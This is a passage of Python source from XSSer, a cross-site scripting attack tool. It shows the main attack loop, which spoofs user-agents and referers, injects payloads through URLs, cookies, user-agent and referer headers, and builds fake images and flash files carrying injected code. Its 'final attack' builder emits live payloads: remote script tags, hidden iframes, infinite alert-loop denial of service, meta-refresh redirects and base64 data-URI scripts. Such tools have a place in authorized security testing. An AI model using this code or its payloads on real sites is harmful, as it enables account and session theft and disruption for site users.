  2714. Gtk.main()
  2715. return controller
  2716. def run(self, opts=None):
  2717. """
  2718. Run xsser.
  2719. """
  2720. self.token_arrived_flag = False # used for --reverse-check
  2721. self.success_arrived_flag = False # used for --reverse-check
  2722. self.token_arrived_hash = None # used for --reverse-check
  2723. self.token_arrived_hashes = [] # used for --reverse-check
  2724. for reporter in self._reporters:
  2725. reporter.start_attack()
  2726. if opts:
  2727. options = self.create_options(opts)
  2728. self.set_options(options)
  2729. if not self.hub:
  2730. self.hub = HubThread(self)
  2731. self.hub.start()
  2732. options = self.options
  2733. if options:
  2734. if self.options.hash is True: # not fuzzing/heuristic when hash precheck
  2735. self.options.fuzz = False
  2736. self.options.script = False
  2737. self.options.coo = False
  2738. self.options.xsa = False
  2739. self.options.xsr = False
  2740. self.options.dcp = False
  2741. self.options.dom = False
  2742. self.options.inducedcode = False
  2743. self.options.heuristic = False
  2744. if self.options.heuristic: # not fuzzing/hash when heuristic precheck
  2745. self.options.fuzz = False
  2746. self.options.script = False
  2747. self.options.coo = False
  2748. self.options.xsa = False
  2749. self.options.xsr = False
  2750. self.options.dcp = False
  2751. self.options.dom = False
  2752. self.options.inducedcode = False
  2753. self.options.hash = False
  2754. if self.options.Cem: # parse input at CEM for blank spaces
  2755. self.options.Cem = self.options.Cem.replace(" ","")
  2756. else:
  2757. pass
  2758. try:
  2759. if self.options.imx: # create -fake- image with code injected
  2760. p = self.optionParser
  2761. self.report('='*75)
  2762. self.report(str(p.version))
  2763. self.report('='*75)
  2764. self.report("[Image XSS Builder]...")
  2765. self.report('='*75)
  2766. self.report(''.join(self.create_fake_image(self.options.imx, self.options.script)))
  2767. self.report('='*75 + "\n")
  2768. except:
  2769. return
  2770. if options.flash: # create -fake- flash movie (.swf) with code injected
  2771. p = self.optionParser
  2772. self.report('='*75)
  2773. self.report(str(p.version))
  2774. self.report('='*75)
  2775. self.report("[Flash Attack! XSS Builder]...")
  2776. self.report('='*75)
  2777. self.report(''.join(self.create_fake_flash(self.options.flash, self.options.script)))
  2778. self.report('='*75 + "\n")
  2779. if options.xsser_gtk:
  2780. self.create_gtk_interface()
  2781. return
  2782. if self.options.wizard: # start a wizard helper
  2783. p = self.optionParser
  2784. self.report('='*75)
  2785. self.report(str(p.version))
  2786. self.report('='*75)
  2787. self.report("[Wizard] Generating XSS attack...")
  2788. self.report('='*75)
  2789. self.user_template = self.start_wizard()
  2790. if self.options.xst: # check for cross site tracing
  2791. p = self.optionParser
  2792. if not self.options.target:
  2793. self.report('='*75)
  2794. self.report(str(p.version))
  2795. self.report('='*75)
  2796. self.report("[XST Attack!] Checking for -HTTP TRACE- method ...")
  2797. self.report('='*75+"\n")
  2798. self.check_trace()
  2799. if self.options.reversecheck or self.options.dom: # generate headless embed web browser
  2800. self.driver = self.create_headless_embed_browser()
  2801. if self.driver == None:
  2802. print("\n[Error] Importing: firefoxdriver lib. \n\n To install it on Debian based systems:\n\n $ 'sudo apt-get install firefoxdriver'")
  2803. print("\n[Error] Options: '--reverse-check' and '--Dom' will be aborted...\n")
  2804. self.options.reversecheck = None # aborting '--reverse-check' connection
  2805. self.options.dom = None # aborting '--Dom' injections
  2806. if options.checktor:
  2807. url = self.check_tor_url # TOR status checking site
  2808. print('='*75)
  2809. print("")
  2810. print(" _ ")
  2811. print(" /_/_ .'''. ")
  2812. print(" =O(_)))) ...' `. ")
  2813. print(" \_\ `. .'''")
  2814. print(" `..' ")
  2815. print("")
  2816. print('='*75)
  2817. agents = [] # user-agents
  2818. try:
  2819. f = open("core/fuzzing/user-agents.txt").readlines() # set path for user-agents
  2820. except:
  2821. f = open("fuzzing/user-agents.txt").readlines() # set path for user-agents when testing
  2822. for line in f:
  2823. agents.append(line)
  2824. agent = random.choice(agents).strip() # set random user-agent
  2825. referer = "127.0.0.1"
  2826. print("\n[Info] Sending request to: " + url + "\n")
  2827. print("-"*25+"\n")
  2828. headers = {'User-Agent' : agent, 'Referer' : referer} # set fake user-agent and referer
  2829. try:
  2830. req = urllib.request.Request(url, None, headers)
  2831. tor_reply = urllib.request.urlopen(req).read().decode('utf-8')
  2832. your_ip = tor_reply.split('<strong>')[1].split('</strong>')[0].strip() # extract public IP
  2833. if not tor_reply or 'Congratulations' not in tor_reply:
  2834. print("It seems that Tor is not properly set.\n")
  2835. print("IP address appears to be: " + your_ip + "\n")
  2836. else:
  2837. print("Congratulations!. Tor is properly being used :-)\n")
  2838. print("IP address appears to be: " + your_ip + "\n")
  2839. except:
  2840. print("[Error] Cannot reach TOR checker system!. Are you connected?\n")
  2841. sys.exit(2) # return
  2842. # step 0: get workers
  2843. nthreads = max(1, abs(options.threads))
  2844. nworkers = len(self.pool.workers)
  2845. if nthreads != nworkers:
  2846. if nthreads < nworkers:
  2847. self.pool.dismissWorkers(nworkers-nthreads)
  2848. else:
  2849. self.pool.createWorkers(nthreads-nworkers)
  2850. for reporter in self._reporters:
  2851. reporter.report_state('scanning')
  2852. # step 1: get urls
  2853. urls = self.try_running(self._get_attack_urls, "\n[Error] WARNING: Some internal errors getting -targets-\n")
  2854. for reporter in self._reporters:
  2855. reporter.report_state('arming')
  2856. # step 2: get payloads
  2857. payloads = self.try_running(self.get_payloads, "\n[Error] WARNING: Some internal errors getting -payloads-\n")
  2858. for reporter in self._reporters:
  2859. reporter.report_state('cloaking')
  2860. if options.Dwo:
  2861. payloads = self.process_payloads_ipfuzzing(payloads)
  2862. elif options.Doo:
  2863. payloads = self.process_payloads_ipfuzzing_octal(payloads)
  2864. for reporter in self._reporters:
  2865. reporter.report_state('locking targets')
  2866. # step 3: get query string
  2867. query_string = self.try_running(self.get_query_string, "\n[Error] WARNING: Some internal problems getting query -string-\n")
  2868. for reporter in self._reporters:
  2869. reporter.report_state('sanitize')
  2870. urls = self.sanitize_urls(urls)
  2871. for reporter in self._reporters:
  2872. reporter.report_state('attack')
  2873. # step 4: perform attack
  2874. self.try_running(self.attack, "\n[Error] WARNING: Some internal problems running attack...\n", (urls, payloads, query_string))
  2875. for reporter in self._reporters:
  2876. reporter.report_state('reporting')
  2877. if len(self.final_attacks):
  2878. self.report("[Info] Waiting for tokens to arrive...")
  2879. while self._ongoing_requests and not self._landing:
  2880. if not self.pool:
  2881. self.mothership.poll_workers()
  2882. else:
  2883. self.poll_workers()
  2884. time.sleep(0.2)
  2885. for reporter in self._reporters:
  2886. reporter.report_state('final sweep...')
  2887. if self.pool:
  2888. self.pool.dismissWorkers(len(self.pool.workers))
  2889. self.pool.joinAllDismissedWorkers()
  2890. start = time.time()
  2891. while not self._landing and len(self.final_attacks) and time.time() - start < 5.0:
  2892. time.sleep(0.2)
  2893. for reporter in self._reporters:
  2894. reporter.report_state('landing... '+str(int(5.0 - (time.time() - start))))
  2895. if self.final_attacks and self.options.reversecheck: # try a --reverse-check
  2896. final_attack_payloads = []
  2897. self.report("="*45)
  2898. self.report("[*] Reverse Check(s) Results:")
  2899. self.report("="*45 + "\n")
  2900. for final_attack in self.final_attacks.values():
  2901. if final_attack not in final_attack_payloads:
  2902. final_attack_payloads.append(final_attack)
  2903. for final in final_attack_payloads:
  2904. if self.hash_found:
  2905. for l in self.hash_found:
  2906. hashing = l[3]
  2907. for k, v in final.items():
  2908. if 'success/'+hashing in v: # find XSS "remote poison" payload!
  2909. if not self.options.postdata: # GET
  2910. self.report("[Info] Generating 'XSS Tunneling' [HTTP GET] exploit:\n")
  2911. else: # POST
  2912. self.report("[Info] Generating 'XSS Tunneling' [HTTP POST] exploit:\n")
  2913. if "#http://localhost:19084/success/"+str(hashing) in v: # re-parsing injected params for POST
  2914. v = v.replace("#http://localhost:19084/success/"+str(hashing), "")
  2915. if "<script>document.location=document.location.hash.substring(1)</script>" in v:
  2916. v = v.replace("<script>document.location=document.location.hash.substring(1)", "<script src='http://localhost:19084/success/"+str(hashing)+"'>")
  2917. self.report(v , "\n")
  2918. self.report("-"*25+"\n")
  2919. self.token_arrived_flag, self.success_arrived_flag, self.token_arrived_hash = self.hub.check_hash(hashing) # validate hashes (client+server)
  2920. if self.token_arrived_flag == True and self.token_arrived_hash:
  2921. self.report("[Info] Validating HASHES:\n")
  2922. if self.success_arrived_flag == False:
  2923. self.report(" INJECTED: [", hashing, "] <-> RECEIVED: [", self.token_arrived_hash, "] -> [OK!]\n")
  2924. else:
  2925. self.report(" INJECTED: [", hashing, "] <-> RECEIVED: [KEYWORD: '/success/' via remote Cross URL Injection] -> [OK!]\n")
  2926. self.report("-"*25+"\n")
  2927. if self.options.postdata: # POST
  2928. self.report("[Info] XSS [HTTP POST] VECTOR [100% VULNERABLE] FOUND!:\n\n|-> "+"".join(self.successful_urls), "(POST:", query_string + ")\n")
  2929. else: # GET
  2930. self.report("[Info] XSS [HTTP GET] VECTOR [100% VULNERABLE] FOUND!:\n\n|-> "+"".join(self.successful_urls), "\n")
  2931. self.token_arrived_hashes.append(self.token_arrived_hash) # add token arrived hashes for counting
  2932. else:
  2933. self.report("[Error] Remote XSS exploit [--reverse-check] has FAILED! -> [PASSING!]\n")
  2934. self.report("-"*25+"\n")
  2935. if self.options.reversecheck or self.options.dom:
  2936. try:
  2937. self.driver.close() # end headless embed web browser driver!
  2938. except:
  2939. try:
  2940. self.driver.quit() # try quit()
  2941. except:
  2942. pass
  2943. for reporter in self._reporters:
  2944. reporter.end_attack() # end reports
  2945. if self.mothership:
  2946. self.mothership.remove_reporter(self) # end mothership
  2947. if self.hub:
  2948. self.land() # end token hub server
  2949. self.print_results()
  2950. def sanitize_urls(self, urls):
  2951. all_urls = set()
  2952. if urls is not None:
  2953. for url in urls:
  2954. if url.startswith("http://") or url.startswith("https://"):
  2955. self.urlspoll.append(url)
  2956. all_urls.add(url)
  2957. else:
  2958. if self.options.crawling:
  2959. self.report("[Error] This target URL: (" + url + ") is not correct! [DISCARDED]\n")
  2960. else:
  2961. self.report("\n[Error] This target URL: (" + url + ") is not correct! [DISCARDED]\n")
  2962. url = None
  2963. else:
  2964. self.report("\n[Error] Not any valid source provided to start a test... Aborting!\n")
  2965. return all_urls
  2966. def land(self, join=False):
  2967. self._landing = True
  2968. if self.hub:
  2969. self.hub.shutdown()
  2970. if join:
  2971. self.hub.join()
  2972. self.hub = None
  2973. def _prepare_extra_attacks(self, payload):
  2974. """
  2975. Setup extra attacks.
  2976. """
  2977. options = self.options
  2978. agents = [] # user-agents
  2979. try:
  2980. f = open("core/fuzzing/user-agents.txt").readlines() # set path for user-agents
  2981. except:
  2982. f = open("fuzzing/user-agents.txt").readlines() # set path for user-agents when testing
  2983. for line in f:
  2984. agents.append(line)
  2985. extra_agent = random.choice(agents).strip() # set random user-agent
  2986. extra_referer = "127.0.0.1"
  2987. extra_cookie = None
  2988. if self.options.script:
  2989. if 'XSS' in payload['payload']:
  2990. payload['payload'] = payload['payload'].replace("XSS","PAYLOAD")
  2991. if 'PAYLOAD' in payload['payload'] or 'XSS' in payload['payload']:
  2992. if options.xsa:
  2993. hashing = self.generate_hash('xsa')
  2994. agent = payload['payload'].replace('PAYLOAD', hashing)
  2995. self._ongoing_attacks['xsa'] = hashing
  2996. self.xsa_injection = self.xsa_injection + 1
  2997. self.options.agent = agent
  2998. extra_agent = agent
  2999. self.extra_hashed_injections[hashing] = "XSA", payload['payload']
  3000. if options.xsr:
  3001. hashing = self.generate_hash('xsr')
  3002. referer = payload['payload'].replace('PAYLOAD', hashing)
  3003. self._ongoing_attacks['xsr'] = hashing
  3004. self.xsr_injection = self.xsr_injection + 1
  3005. self.options.referer = referer
  3006. extra_referer = referer
  3007. self.extra_hashed_injections[hashing] = "XSR", payload['payload']
  3008. if options.coo:
  3009. hashing = self.generate_hash('cookie')
  3010. cookie = payload['payload'].replace('PAYLOAD', hashing)
  3011. self._ongoing_attacks['coo'] = hashing
  3012. self.coo_injection = self.coo_injection + 1
  3013. self.options.cookie = cookie
  3014. extra_cookie = cookie
  3015. self.extra_hashed_injections[hashing] = "COO", payload['payload']
  3016. return extra_agent, extra_referer, extra_cookie
  3017. def attack(self, urls, payloads, query_string):
  3018. """
  3019. Perform an attack on the given urls with the provided payloads and
  3020. query_string.
  3021. """
  3022. for url in urls:
  3023. if self.pool:
  3024. self.poll_workers()
  3025. else:
  3026. self.mothership.poll_workers()
  3027. if not self._landing:
  3028. self.attack_url(url, payloads, query_string)
  3029. def generate_real_attack_url(self, dest_url, description, method, hashing, query_string, payload, orig_url):
  3030. """
  3031. Generate a real attack url using data from a successful test.
  3032. This method also applies DOM stealth mechanisms.
  3033. """
  3034. user_attack_payload = payload['payload']
  3035. if self.options.finalpayload:
  3036. user_attack_payload = self.options.finalpayload
  3037. elif self.options.finalremote:
  3038. user_attack_payload = '<script src="' + self.options.finalremote + '"></script>'
  3039. elif self.options.finalpayload or self.options.finalremote and payload["browser"] == "[Data Control Protocol Injection]":
  3040. user_attack_payload = '<a href="data:text/html;base64,' + b64encode(self.options.finalpayload) + '></a>'
  3041. elif self.options.finalpayload or self.options.finalremote and payload["browser"] == "[Induced Injection]":
  3042. user_attack_payload = self.options.finalpayload
  3043. if self.options.dos:
  3044. user_attack_payload = '<script>for(;;)alert("You were XSSed!!");</script>'
  3045. if self.options.doss:
  3046. user_attack_payload = '<meta%20http-equiv="refresh"%20content="0;">'
  3047. if self.options.b64:
  3048. user_attack_payload = '<META HTTP-EQUIV="refresh" CONTENT="0;url=data:text/html;base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4">'
  3049. if self.options.onm:
  3050. user_attack_payload = '"style="position:absolute;top:0;left:0;z-index:1000;width:3000px;height:3000px" onMouseMove="' + user_attack_payload
  3051. if self.options.ifr:
  3052. user_attack_payload = '<iframe src="' + user_attack_payload + '" width="0" height="0"></iframe>'
  3053. do_anchor_payload = self.options.anchor
  3054. anchor_data = None
  3055. attack_hash = None
  3056. if do_anchor_payload: # DOM Shadows!
  3057. dest_url, agent, referer, cookie = self.get_url_payload(orig_url, payload, query_string, user_attack_payload)
  3058. dest_url = dest_url.replace('?', '#')
  3059. else:
  3060. dest_url, agent, referer, cookie = self.get_url_payload(orig_url, payload, query_string, user_attack_payload)
  3061. if attack_hash:
  3062. self.final_attacks[attack_hash] = {'url':dest_url}
  3063. return dest_url
  3064. def token_arrived(self, attack_hash):
  3065. if not self.mothership: # only mothership calls on token arrival
  3066. self.final_attack_callback(attack_hash)
  3067. def final_attack_callback(self, attack_hash):
  3068. if attack_hash in self.final_attacks:
  3069. dest_url = self.final_attacks[attack_hash]['url']
  3070. for reporter in self._reporters:
  3071. reporter.add_checked(dest_url)
  3072. if self._reporter:
  3073. from twisted.internet import reactor
  3074. reactor.callFromThread(self._reporter.post, 'SUCCESS ' + dest_url)
  3075. def apply_postprocessing(self, dest_url, description, method, hashing, query_string, payload, orig_url):
  3076. real_attack_url = self.generate_real_attack_url(dest_url, description, method, hashing, query_string, payload, orig_url)
  3077. return real_attack_url
  3078. def report(self, *args):
  3079. args = list([str(s) for s in args])
  3080. formatted = " ".join(args)
  3081. if not self.options.silent:
  3082. print(formatted)
  3083. for reporter in self._reporters:
  3084. reporter.post(formatted)
  3085. def print_results(self):
  3086. """
  3087. Print results from attack.
  3088. """
  3089. self.report('='*75)
  3090. total_injections = len(self.hash_found) + len(self.hash_notfound)
  3091. if len(self.hash_found) + len(self.hash_notfound) == 0:
  3092. pass
  3093. elif self.options.heuristic:
  3094. pass
  3095. else:
  3096. self.report("[*] Final Results:")
  3097. self.report('='*75 + '\n')
  3098. self.report("- Injections:", total_injections)
  3099. self.report("- Failed:", len(self.hash_notfound))
  3100. self.report("- Successful:", len(self.hash_found))
  3101. try:
  3102. _accur = len(self.hash_found) * 100 / total_injections
  3103. except ZeroDivisionError:
  3104. _accur = 0
  3105. self.report("- Accur: %s %%\n" % _accur)
  3106. if not len(self.hash_found) and self.hash_notfound:
  3107. self.report('='*75 + '\n')
  3108. pass
  3109. else:
  3110. self.report('='*75)
  3111. self.report("[*] List of XSS injections:")
  3112. self.report('='*75 + '\n')
  3113. if len(self.hash_found) > 1:
  3114. if len(self.token_arrived_hashes) > 0:
  3115. if len(self.hash_found) == len(self.token_arrived_hashes):
  3116. self.report("-> CONGRATULATIONS: You have found: [ " + str(len(self.hash_found)) + " ] XSS vectors [100% VULNERABLE]! ;-)\n")
  3117. else:
  3118. self.report("-> CONGRATULATIONS: You have found: [ " + str(len(self.token_arrived_hashes)) + " ] XSS [100% VULNERABLE] of [ " + str(len(self.hash_found)) + " ] possible XSS vectors! ;-)\n")
  3119. else:
  3120. self.report("-> CONGRATULATIONS: You have found: [ " + str(len(self.hash_found)) + " ] possible XSS vectors! ;-)\n")
  3121. else:
  3122. if len(self.token_arrived_hashes) > 0:
  3123. self.report("-> CONGRATULATIONS: You have found: [ " + str(len(self.hash_found)) + " ] XSS vector [100% VULNERABLE]! ;-)\n")
  3124. else:
  3125. self.report("-> CONGRATULATIONS: You have found: [ " + str(len(self.hash_found)) + " ] possible XSS vector! ;-)\n")
  3126. self.report("---------------------" + "\n")
  3127. if self.options.fileoutput:
  3128. fout = open("XSSreport.raw", "w") # write better than append
  3129. for line in self.hash_found:
  3130. if self.options.heuristic or self.options.hash: # not final attack possible when checking
  3131. pass
  3132. else:
  3133. attack_url = self.apply_postprocessing(line[0], line[1], line[2], line[3], line[4], line[5], line[6])
  3134. if line[2] == "XSR":
  3135. self.xsr_found = self.xsr_found + 1
  3136. if len(self.hash_found) < 11:
  3137. if line[4]: # when query string
  3138. self.report("[+] Target:", line[6] + " | " + line[4])
  3139. else:
  3140. self.report("[+] Target:", line[6])
  3141. self.report("[+] Vector: [ " + str(line[2]) + " ]")
  3142. self.report("[!] Method: Referer Injection")
  3143. self.report("[*] Hash:", line[3])
  3144. self.report("[*] Payload:", str(Curl.referer))
  3145. self.report("[!] Status: XSS FOUND!", "\n", '-'*50, "\n")
  3146. if self.options.fileoutput:
  3147. fout.write("="*75)
  3148. fout.write("\n" + "XSSer Security Report: " + str(datetime.datetime.now()) + "\n")
  3149. fout.write("="*75 + "\n\n")
  3150. for h in self.hash_found:
  3151. if h[2] == "XSR":
  3152. if h[4]:
  3153. fout.write("[+] Target: " + str(h[6]) + " | " + str(h[4]) + "\n[+] Vector: [ " + str(h[2]) + " ]\n\n[!] Method: Referer Injection" + "\n[*] Hash: " + str(h[3]) + " \n\n[*] Payload: \n\n " + str(h[4]) + "\n\n[!] Status: XSS FOUND!\n\n")
  3154. else:
  3155. fout.write("[+] Target: " + str(h[6]) + "\n[+] Vector: [ " + str(h[2]) + " ]\n\n[!] Method: Referer Injection" + "\n[*] Hash: " + str(h[3]) + " \n\n[*] Payload: \n\n " + str(h[0]) + "\n\n[!] Status: XSS FOUND!\n\n")
  3156. fout.write("="*75 + "\n\n")
  3157. elif line[2] == "XSA":
  3158. self.xsa_found = self.xsa_found + 1
  3159. if len(self.hash_found) < 11:
  3160. if line[4]: # when query string
  3161. self.report("[+] Target:", line[6] + " | " + line[4])
  3162. else:
  3163. self.report("[+] Target:", line[6])
  3164. self.report("[+] Vector: [ " + str(line[2]) + " ]")
  3165. self.report("[!] Method: User-Agent Injection")
  3166. self.report("[*] Hash:", line[3])
  3167. self.report("[*] Payload:", str(Curl.agent))
  3168. self.report("[!] Status: XSS FOUND!", "\n", '-'*50, "\n")
  3169. if self.options.fileoutput:
  3170. fout.write("="*75)
  3171. fout.write("\n" + "XSSer Security Report: " + str(datetime.datetime.now()) + "\n")
  3172. fout.write("="*75 + "\n\n")
  3173. for h in self.hash_found:
  3174. if h[2] == "XSA":
  3175. if h[4]:
  3176. fout.write("[+] Target: " + str(h[6]) + " | " + str(h[4]) + "\n[+] Vector: [ " + str(h[2]) + " ]\n\n[!] Method: User-Agent Injection" + "\n[*] Hash: " + str(h[3]) + " \n\n[*] Payload: \n\n " + str(h[4]) + "\n\n[!] Status: XSS FOUND!\n\n")
  3177. else:
  3178. fout.write("[+] Target: " + str(h[6]) + "\n[+] Vector: [ " + str(h[2]) + " ]\n\n[!] Method: User-Agent Injection" + "\n[*] Hash: " + str(h[3]) + " \n\n[*] Payload: \n\n " + str(h[0]) + "\n\n[!] Status: XSS FOUND!\n\n")
  3179. fout.write("="*75 + "\n\n")
  3180. elif line[2] == "COO":
  3181. self.coo_found = self.coo_found + 1
  3182. if len(self.hash_found) < 11:
  3183. if line[4]: # when query string
  3184. self.report("[+] Target:", line[6] + " | " + line[4])
  3185. else:
  3186. self.report("[+] Target:", line[6])
  3187. self.report("[+] Vector: [ " + str(line[2]) + " ]")
  3188. self.report("[!] Method: Cookie Injection")
  3189. self.report("[*] Hash:", line[3])
  3190. self.report("[*] Payload:", str(Curl.cookie))
  3191. self.report("[!] Status: XSS FOUND!", "\n", '-'*50, "\n")
  3192. if self.options.fileoutput:
  3193. fout.write("="*75)
  3194. fout.write("\n" + "XSSer Security Report: " + str(datetime.datetime.now()) + "\n")
  3195. fout.write("="*75 + "\n\n")
  3196. for h in self.hash_found:
  3197. if h[2] == "COO":
  3198. if h[4]:
  3199. fout.write("[+] Target: " + str(h[6]) + " | " + str(h[4]) + "\n[+] Vector: [ " + str(h[2]) + " ]\n\n[!] Method: Cookie Injection" + "\n[*] Hash: " + str(h[3]) + " \n\n[*] Payload: \n\n " + str(h[4]) + "\n\n[!] Status: XSS FOUND!\n\n")
  3200. else:
  3201. fout.write("[+] Target: " + str(h[6]) + "\n[+] Vector: [ " + str(h[2]) + " ]\n\n[!] Method: Cookie Injection" + "\n[*] Hash: " + str(h[3]) + " \n\n[*] Payload: \n\n " + str(h[0]) + "\n\n[!] Status: XSS FOUND!\n\n")
  3202. fout.write("="*75 + "\n\n")
  3203. elif line[1] == "[Data Control Protocol Injection]":
  3204. self.dcp_found = self.dcp_found + 1
  3205. if len(self.hash_found) < 11:
  3206. if line[4]: # when query string
  3207. self.report("[+] Target:", line[6] + " | " + line[4])
  3208. else:
  3209. self.report("[+] Target:", line[6])
  3210. self.report("[+] Vector: [ " + str(line[2]) + " ]")
  3211. self.report("[!] Method: DCP")
  3212. self.report("[*] Hash:", line[3])
  3213. self.report("[*] Payload:", line[0])
  3214. self.report("[!] Vulnerable: DCP (Data Control Protocol)")
  3215. if self.options.finalpayload or self.options.finalremote or self.options.doss or self.options.dos or self.options.b64:
  3216. self.report("[*] Final Attack:", attack_url)
  3217. self.report("[!] Status: XSS FOUND!", "\n", '-'*50, "\n")
  3218. if self.options.fileoutput:
  3219. fout.write("="*75)
  3220. fout.write("\n" + "XSSer Security Report: " + str(datetime.datetime.now()) + "\n")
  3221. fout.write("="*75 + "\n\n")
  3222. for h in self.hash_found:
  3223. if h[4]:
  3224. if h[1] == "[Data Control Protocol Injection]":
  3225. if self.options.finalpayload or self.options.finalremote or self.options.doss or self.options.dos or self.options.b64:
  3226. fout.write("[+] Target: " + str(h[6]) + " | " + str(h[4]) + "\n[+] Vector: [ " + str(h[2]) + " ]\n\n[!] Method: DCP" + "\n[*] Hash: " + str(h[3]) + " \n\n[*] Payload: \n\n " + str(h[0]) + "\n\n[!] Vulnerable: " + "DCP (Data Control Protocol)" + "\n\n[*] Final Attack:\n\n " + str(attack_url) + "\n\n[!] Status: XSS FOUND!\n\n")
  3227. else:
  3228. fout.write("[+] Target: " + str(h[6]) + " | " + str(h[4]) + "\n[+] Vector: [ " + str(h[2]) + " ]\n\n[!] Method: DCP" + "\n[*] Hash: " + str(h[3]) + " \n\n[*] Payload: \n\n " + str(h[0]) + "\n\n[!] Vulnerable: " + "DCP (Data Control Protocol)" + "\n\n[!] Status: XSS FOUND!\n\n")
  3229. else:
  3230. if self.options.finalpayload or self.options.finalremote or self.options.doss or self.options.dos or self.options.b64:
  3231. fout.write("[+] Target: " + str(h[6]) + "\n[+] Vector: [ " + str(h[2]) + " ]\n\n[!] Method: DCP" + "\n[*] Hash: " + str(h[3]) + " \n\n[*] Payload: \n\n " + str(h[0]) + "\n\n[!] Vulnerable: " + "DCP (Data Control Protocol)" + "\n\n[*] Final Attack:\n\n " + str(attack_url) + "\n\n[!] Status: XSS FOUND!\n\n")
  3232. else:
  3233. fout.write("[+] Target: " + str(h[6]) + "\n[+] Vector: [ " + str(h[2]) + " ]\n\n[!] Method: DCP" + "\n[*] Hash: " + str(h[3]) + " \n\n[*] Payload: \n\n " + str(h[0]) + "\n\n[!] Vulnerable: " + "DCP (Data Control Protocol)" + "\n\n[!] Status: XSS FOUND!\n\n")
  3234. fout.write("="*75 + "\n\n")
  3235. elif line[1] == "[Document Object Model Injection]":
  3236. self.dom_found = self.dom_found + 1
  3237. if len(self.hash_found) < 11:
  3238. if line[4]: # when query string
  3239. self.report("[+] Target:", line[6] + " | " + line[4])
  3240. else:
  3241. self.report("[+] Target:", line[6])
  3242. self.report("[+] Vector: [ " + str(line[2]) + " ]")
  3243. self.report("[!] Method: DOM")
  3244. self.report("[*] Hash:", line[3])
  3245. self.report("[*] Payload:", line[0])
  3246. self.report("[!] Vulnerable: DOM (Document Object Model)")
  3247. if self.options.finalpayload or self.options.finalremote or self.options.doss or self.options.dos or self.options.b64:
  3248. self.report("[*] Final Attack:", attack_url)
  3249. self.report("[!] Status: XSS FOUND!", "\n", '-'*50, "\n")
  3250. if self.options.fileoutput:
  3251. fout.write("="*75)
  3252. fout.write("\n" + "XSSer Security Report: " + str(datetime.datetime.now()) + "\n")
  3253. fout.write("="*75 + "\n\n")
  3254. for h in self.hash_found:
  3255. if h[1] == "[Document Object Model Injection]":
  3256. if h[4]:
  3257. if self.options.finalpayload or self.options.finalremote or self.options.doss or self.options.dos or self.options.b64:
  3258. fout.write("[+] Target: " + str(h[6]) + " | " + str(h[4]) + "\n[+] Vector: [ " + str(h[2]) + " ]\n\n[!] Method: DOM" + "\n[*] Hash: " + str(h[3]) + " \n\n[*] Payload: \n\n " + str(h[0]) + "\n\n[!] Vulnerable: " + "DOM (Document Object Model)" + "\n\n[*] Final Attack:\n\n " + str(attack_url) + "\n\n[!] Status: XSS FOUND!\n\n")
  3259. else:
  3260. fout.write("[+] Target: " + str(h[6]) + " | " + str(h[4]) + "\n[+] Vector: [ " + str(h[2]) + " ]\n\n[!] Method: DOM" + "\n[*] Hash: " + str(h[3]) + " \n\n[*] Payload: \n\n " + str(h[0]) + "\n\n[!] Vulnerable: " + "DOM (Document Object Model)" + "\n\n[!] Status: XSS FOUND!\n\n")
  3261. else:
  3262. if self.options.finalpayload or self.options.finalremote or self.options.doss or self.options.dos or self.options.b64:
  3263. fout.write("[+] Target: " + str(h[6]) + "\n[+] Vector: [ " + str(h[2]) + " ]\n\n[!] Method: DOM" + "\n[*] Hash: " + str(h[3]) + " \n\n[*] Payload: \n\n " + str(h[0]) + "\n\n[!] Vulnerable: " + "DOM (Document Object Model)" + "\n\n[*] Final Attack:\n\n " + str(attack_url) + "\n\n[!] Status: XSS FOUND!\n\n")
  3264. else:
  3265. fout.write("[+] Target: " + str(h[6]) + "\n[+] Vector: [ " + str(h[2]) + " ]\n\n[!] Method: DOM" + "\n[*] Hash: " + str(h[3]) + " \n\n[*] Payload: \n\n " + str(h[0]) + "\n\n[!] Vulnerable: " + "DOM (Document Object Model)" + "\n\n[!] Status: XSS FOUND!\n\n")
  3266. fout.write("="*75 + "\n\n")
  3267. elif line[1] == "[Induced Injection]":
  3268. self.httpsr_found = self.httpsr_found +1
  3269. if len(self.hash_found) < 11:
  3270. if line[4]: # when query string
  3271. self.report("[+] Target:", line[6] + " | " + line[4])
  3272. else:
  3273. self.report("[+] Target:", line[6])
  3274. self.report("[+] Vector: [ " + str(line[2]) + " ]")
  3275. self.report("[!] Method: INDUCED")
  3276. self.report("[*] Hash:", line[3])
  3277. self.report("[*] Payload:", line[0])
  3278. self.report("[!] Vulnerable: HTTPsr ( HTTP Splitting Response)")
  3279. if self.options.finalpayload or self.options.finalremote or self.options.doss or self.options.dos or self.options.b64:
  3280. self.report("[*] Final Attack:", attack_url)
  3281. self.report("[!] Status: XSS FOUND!", "\n", '-'*50, "\n")
  3282. if self.options.fileoutput:
  3283. fout.write("="*75)
  3284. fout.write("\n" + "XSSer Security Report: " + str(datetime.datetime.now()) + "\n")
  3285. fout.write("="*75 + "\n\n")
  3286. for h in self.hash_found:
  3287. if h[4]:
  3288. if h[1] == "[Induced Injection]":
  3289. if self.options.finalpayload or self.options.finalremote or self.options.doss or self.options.dos or self.options.b64:
  3290. fout.write("[+] Target: " + str(h[6]) + " | " + str(h[4]) + "\n[+] Vector: [ " + str(h[2]) + " ]\n\n[!] Method: INDUCED" + "\n[*] Hash: " + str(h[3]) + " \n\n[*] Payload: \n\n " + str(h[0]) + "\n\n[!] Vulnerable: " + "HTTPsr ( HTTP Splitting Response)" + "\n\n[*] Final Attack:\n\n " + str(attack_url) + "\n\n[!] Status: XSS FOUND!\n\n")
  3291. else:
  3292. fout.write("[+] Target: " + str(h[6]) + " | " + str(h[4]) + "\n[+] Vector: [ " + str(h[2]) + " ]\n\n[!] Method: INDUCED" + "\n[*] Hash: " + str(h[3]) + " \n\n[*] Payload: \n\n " + str(h[0]) + "\n\n[!] Vulnerable: " + "HTTPsr ( HTTP Splitting Response)" + "\n\n[!] Status: XSS FOUND!\n\n")
  3293. else:
  3294. if self.options.finalpayload or self.options.finalremote or self.options.doss or self.options.dos or self.options.b64:
  3295. fout.write("[+] Target: " + str(h[6]) + "\n[+] Vector: [ " + str(h[2]) + " ]\n\n[!] Method: INDUCED" + "\n[*] Hash: " + str(h[3]) + " \n\n[*] Payload: \n\n " + str(h[0]) + "\n\n[!] Vulnerable: " + "HTTPsr ( HTTP Splitting Response)" + "\n\n[*] Final Attack:\n\n " + str(attack_url) + "\n\n[!] Status: XSS FOUND!\n\n")
  3296. else:
